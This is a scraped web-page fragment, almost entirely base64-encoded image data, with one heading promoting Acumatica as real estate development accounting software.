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mds/JVYB1+X/wAXZfQm/RPRev2/HKOyH8ib/r05xDuaZZQkE8mHdnuzzNciwHIhT3gnmfZjwqtI6+774qx+hN9ooOvy/wDirI+1J/tFec4j1W0yyonDEAkEfysZHqGPXvyrpnkbOxK9xzkAfP4VXFuv6/8Ai7IcuSz93/iK/V6/r/4qyO+d0n+0U10e9zzLCpCwxqbOM74zv3554+QV3SLjmRk79+23L6s1XWbygL8/7qx+hN3/APiK6x1933xVj4e8m29n4emuh3NMsipzscqPADJP93tri688atvyR+ceqq6e6Av/AIqxz46J/tFcV6/r8co7IevRN837fTnEY9zTLIeagD0thnnzI/5du/21yWz7lLY3J5/mqtn3/b/fEdkM+CTfaKP1+X5/3dl6/Rn3/wD5Fe84h3NMspB/KY4HgB4bk1+yXODy7yM4Hj45yarR9/m/5dnZj2JN/wBeuTdfl8RvFY+3RPn+0U5xDuaZE1KUqOWQpSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAKUpQH//2Q==" width="256px" alt="accounting software for real estate developers"/></p>
<p><h2>Real Estate Development Software: Streamline Your Projects with Acumatica</h2>
</p>
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